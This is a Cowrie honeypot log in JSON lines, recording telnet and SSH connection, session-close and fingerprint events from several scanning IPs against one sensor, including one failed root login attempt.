{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36184,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ff877cf9c3d","protocol":"telnet","message":"New connection: 62.210.97.77:36184 (10.17.0.5:23) [session: 3ff877cf9c3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:35.616382Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47758,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5ed4bfbb29d","protocol":"telnet","message":"New connection: 38.54.119.93:47758 (10.17.0.5:23) [session: f5ed4bfbb29d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:37.731317Z"}
{"eventid":"cowrie.session.closed","duration":37.197208642959595,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:39.270469Z","src_ip":"62.210.97.77","session":"b9e3ed8c7c95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.1914587020874,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:39.308471Z","src_ip":"165.232.131.181","session":"92d22517300d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.544695615768433,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:39.948409Z","src_ip":"165.232.131.181","session":"816654d598f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.679922342300415,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:40.508540Z","src_ip":"38.54.119.93","session":"5be627f6b42e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.58091449737549,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:40.640116Z","src_ip":"165.232.131.181","session":"819a163ed3b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51842,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f6b4204a0c5","protocol":"telnet","message":"New connection: 62.210.97.77:51842 (10.17.0.5:23) [session: 8f6b4204a0c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:41.227632Z"}
{"eventid":"cowrie.session.closed","duration":43.54736876487732,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:41.652577Z","src_ip":"165.232.131.181","session":"51de9e85dd02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":40564,"dst_ip":"10.17.0.5","dst_port":23,"session":"45170673ecea","protocol":"telnet","message":"New connection: 65.60.27.33:40564 (10.17.0.5:23) [session: 45170673ecea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:41.972901Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36966,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb4b45bc32e2","protocol":"telnet","message":"New connection: 165.232.131.181:36966 (10.17.0.5:23) [session: fb4b45bc32e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:42.308533Z"}
{"eventid":"cowrie.session.closed","duration":34.18592667579651,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:42.570392Z","src_ip":"62.210.97.77","session":"407dd0508d9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51852,"dst_ip":"10.17.0.5","dst_port":23,"session":"af0741bc9096","protocol":"telnet","message":"New connection: 62.210.97.77:51852 (10.17.0.5:23) [session: af0741bc9096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:43.162677Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51860,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f6edb68fe0b","protocol":"telnet","message":"New connection: 62.210.97.77:51860 (10.17.0.5:23) [session: 5f6edb68fe0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:43.826025Z"}
{"eventid":"cowrie.session.closed","duration":49.86286640167236,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:44.422814Z","src_ip":"38.54.119.93","session":"df10a8992ba2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":50142,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfd9b77db51c","protocol":"ssh","message":"New connection: 187.16.96.250:50142 (10.17.0.5:22) [session: cfd9b77db51c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:44.454637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:44.459585Z","src_ip":"187.16.96.250","session":"cfd9b77db51c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:44.576541Z","src_ip":"187.16.96.250","session":"cfd9b77db51c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2003","message":"login attempt [root/server2003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:45.079634Z","src_ip":"187.16.96.250","session":"cfd9b77db51c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:46.201279Z","src_ip":"187.16.96.250","session":"cfd9b77db51c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.8117945194244385,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:47.120237Z","src_ip":"165.232.131.181","session":"fb4b45bc32e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.883049964904785,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:47.697623Z","src_ip":"62.210.97.77","session":"3e42ef1ceacf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35338,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2da47cb88f2","protocol":"telnet","message":"New connection: 62.210.97.77:35338 (10.17.0.5:23) [session: b2da47cb88f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:50.164957Z"}
{"eventid":"cowrie.session.closed","duration":38.73000144958496,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:50.649476Z","src_ip":"62.210.97.77","session":"00fd550f8ea6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35348,"dst_ip":"10.17.0.5","dst_port":23,"session":"393a4d753aba","protocol":"telnet","message":"New connection: 62.210.97.77:35348 (10.17.0.5:23) [session: 393a4d753aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:52.763172Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35356,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bed2f0f919e","protocol":"telnet","message":"New connection: 62.210.97.77:35356 (10.17.0.5:23) [session: 7bed2f0f919e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:52.969303Z"}
{"eventid":"cowrie.session.closed","duration":30.993065118789673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:54.193594Z","src_ip":"62.210.97.77","session":"bbb2d4a677a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58908,"dst_ip":"10.17.0.5","dst_port":23,"session":"55e1207846a4","protocol":"telnet","message":"New connection: 65.60.27.33:58908 (10.17.0.5:23) [session: 55e1207846a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:16:58.558410Z"}
{"eventid":"cowrie.session.closed","duration":35.50620698928833,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:01.835590Z","src_ip":"62.210.97.77","session":"bc73d8717d0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.44972324371338,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:02.349260Z","src_ip":"62.210.97.77","session":"b9dca1e1a4e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":35434,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dff947cb097","protocol":"telnet","message":"New connection: 38.54.119.93:35434 (10.17.0.5:23) [session: 0dff947cb097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:03.240577Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45234,"dst_ip":"10.17.0.5","dst_port":23,"session":"51f65320f355","protocol":"telnet","message":"New connection: 165.232.131.181:45234 (10.17.0.5:23) [session: 51f65320f355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:03.290257Z"}
{"eventid":"cowrie.session.closed","duration":33.59040689468384,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:03.409375Z","src_ip":"62.210.97.77","session":"c9caa7056405","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44844,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9d10b926cf2","protocol":"telnet","message":"New connection: 165.232.131.181:44844 (10.17.0.5:23) [session: a9d10b926cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:03.561267Z"}
{"eventid":"cowrie.session.closed","duration":5.025054216384888,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:03.583349Z","src_ip":"65.60.27.33","session":"55e1207846a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56100,"dst_ip":"10.17.0.5","dst_port":23,"session":"5464b45d65ef","protocol":"telnet","message":"New connection: 62.210.97.77:56100 (10.17.0.5:23) [session: 5464b45d65ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:03.893262Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56108,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdf5d4e214d5","protocol":"telnet","message":"New connection: 62.210.97.77:56108 (10.17.0.5:23) [session: bdf5d4e214d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:03.910076Z"}
{"eventid":"cowrie.session.closed","duration":42.97575664520264,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:04.543288Z","src_ip":"165.232.131.181","session":"5f73b86e0ab0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.732402324676514,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:06.896774Z","src_ip":"62.210.97.77","session":"8e95e26fa1ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.16951274871826,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:07.502432Z","src_ip":"62.210.97.77","session":"10503ad1b717","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":43402,"dst_ip":"10.17.0.5","dst_port":23,"session":"07ce9adc5b0a","protocol":"telnet","message":"New connection: 65.60.27.33:43402 (10.17.0.5:23) [session: 07ce9adc5b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:08.648117Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43246,"dst_ip":"10.17.0.5","dst_port":23,"session":"b46c90ab312a","protocol":"telnet","message":"New connection: 62.210.97.77:43246 (10.17.0.5:23) [session: b46c90ab312a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:09.404222Z"}
{"eventid":"cowrie.session.closed","duration":1.5109186172485352,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:10.158922Z","src_ip":"65.60.27.33","session":"07ce9adc5b0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44584,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1cf48f1bbff","protocol":"telnet","message":"New connection: 65.60.27.33:44584 (10.17.0.5:23) [session: c1cf48f1bbff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:12.744312Z"}
{"eventid":"cowrie.session.closed","duration":1.0597314834594727,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:13.803892Z","src_ip":"65.60.27.33","session":"c1cf48f1bbff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.93809461593628,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:14.178748Z","src_ip":"65.60.27.33","session":"97dd2f2757de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.074090003967285,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:14.690368Z","src_ip":"62.210.97.77","session":"3ff877cf9c3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.77386450767517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:15.599708Z","src_ip":"62.210.97.77","session":"5f6edb68fe0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.5745325088501,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:15.802076Z","src_ip":"62.210.97.77","session":"8f6b4204a0c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43254,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ec38f8b61c7","protocol":"telnet","message":"New connection: 62.210.97.77:43254 (10.17.0.5:23) [session: 1ec38f8b61c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:17.193286Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43266,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a81ccaed447","protocol":"telnet","message":"New connection: 62.210.97.77:43266 (10.17.0.5:23) [session: 6a81ccaed447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:17.327549Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43032,"dst_ip":"10.17.0.5","dst_port":23,"session":"92dbf53de013","protocol":"telnet","message":"New connection: 38.54.119.93:43032 (10.17.0.5:23) [session: 92dbf53de013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:17.729521Z"}
{"eventid":"cowrie.session.closed","duration":36.39450168609619,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:18.367271Z","src_ip":"65.60.27.33","session":"45170673ecea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.211.122.97","src_port":38278,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3abede0f9be","protocol":"telnet","message":"New connection: 210.211.122.97:38278 (10.17.0.5:23) [session: a3abede0f9be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:18.567226Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51546,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ef1d0bb0b05","protocol":"telnet","message":"New connection: 165.232.131.181:51546 (10.17.0.5:23) [session: 6ef1d0bb0b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:18.762536Z"}
{"eventid":"cowrie.session.closed","duration":36.266234397888184,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:19.428807Z","src_ip":"62.210.97.77","session":"af0741bc9096","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57130,"dst_ip":"10.17.0.5","dst_port":23,"session":"77da6a5d2981","protocol":"telnet","message":"New connection: 62.210.97.77:57130 (10.17.0.5:23) [session: 77da6a5d2981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:21.110694Z"}
{"eventid":"cowrie.session.closed","duration":32.87389922142029,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:23.038730Z","src_ip":"62.210.97.77","session":"b2da47cb88f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.089892625808716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:24.058949Z","src_ip":"62.210.97.77","session":"7bed2f0f919e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.632981061935425,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:24.362399Z","src_ip":"38.54.119.93","session":"92dbf53de013","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57144,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3cbd5ce28da","protocol":"telnet","message":"New connection: 62.210.97.77:57144 (10.17.0.5:23) [session: a3cbd5ce28da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:25.053496Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35164,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e059efddc1a","protocol":"telnet","message":"New connection: 65.60.27.33:35164 (10.17.0.5:23) [session: 3e059efddc1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:25.444751Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57156,"dst_ip":"10.17.0.5","dst_port":23,"session":"2346793b91b8","protocol":"telnet","message":"New connection: 62.210.97.77:57156 (10.17.0.5:23) [session: 2346793b91b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:25.596598Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57170,"dst_ip":"10.17.0.5","dst_port":23,"session":"92ec40f6fb2d","protocol":"telnet","message":"New connection: 62.210.97.77:57170 (10.17.0.5:23) [session: 92ec40f6fb2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:25.995795Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57172,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ce99ac5bfb8","protocol":"telnet","message":"New connection: 62.210.97.77:57172 (10.17.0.5:23) [session: 4ce99ac5bfb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:26.607319Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57180,"dst_ip":"10.17.0.5","dst_port":23,"session":"a25b06bf8e15","protocol":"telnet","message":"New connection: 62.210.97.77:57180 (10.17.0.5:23) [session: a25b06bf8e15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:27.173958Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57196,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ccfa1bab328","protocol":"telnet","message":"New connection: 62.210.97.77:57196 (10.17.0.5:23) [session: 3ccfa1bab328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:27.549858Z"}
{"eventid":"cowrie.session.closed","duration":36.6496148109436,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:29.412650Z","src_ip":"62.210.97.77","session":"393a4d753aba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":55790,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd13e9f00a85","protocol":"telnet","message":"New connection: 165.232.131.181:55790 (10.17.0.5:23) [session: fd13e9f00a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:31.284783Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":55554,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1e133fa3028","protocol":"telnet","message":"New connection: 165.232.131.181:55554 (10.17.0.5:23) [session: b1e133fa3028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:31.715638Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53226,"dst_ip":"10.17.0.5","dst_port":23,"session":"e579592490eb","protocol":"telnet","message":"New connection: 62.210.97.77:53226 (10.17.0.5:23) [session: e579592490eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:33.005157Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56522,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea74dac055ba","protocol":"telnet","message":"New connection: 165.232.131.181:56522 (10.17.0.5:23) [session: ea74dac055ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:33.479891Z"}
{"eventid":"cowrie.session.closed","duration":120.00223875045776,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:35.169139Z","src_ip":"165.232.131.181","session":"038ff34ecfc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57910,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae3df2cbffca","protocol":"telnet","message":"New connection: 165.232.131.181:57910 (10.17.0.5:23) [session: ae3df2cbffca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:36.600963Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49030,"dst_ip":"10.17.0.5","dst_port":23,"session":"db7c27940902","protocol":"telnet","message":"New connection: 65.60.27.33:49030 (10.17.0.5:23) [session: db7c27940902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:38.330766Z"}
{"eventid":"cowrie.session.closed","duration":35.23313593864441,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:39.126302Z","src_ip":"62.210.97.77","session":"5464b45d65ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.0794346332550049,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:17:39.410094Z","src_ip":"65.60.27.33","session":"db7c27940902","protocol":"telnet"}
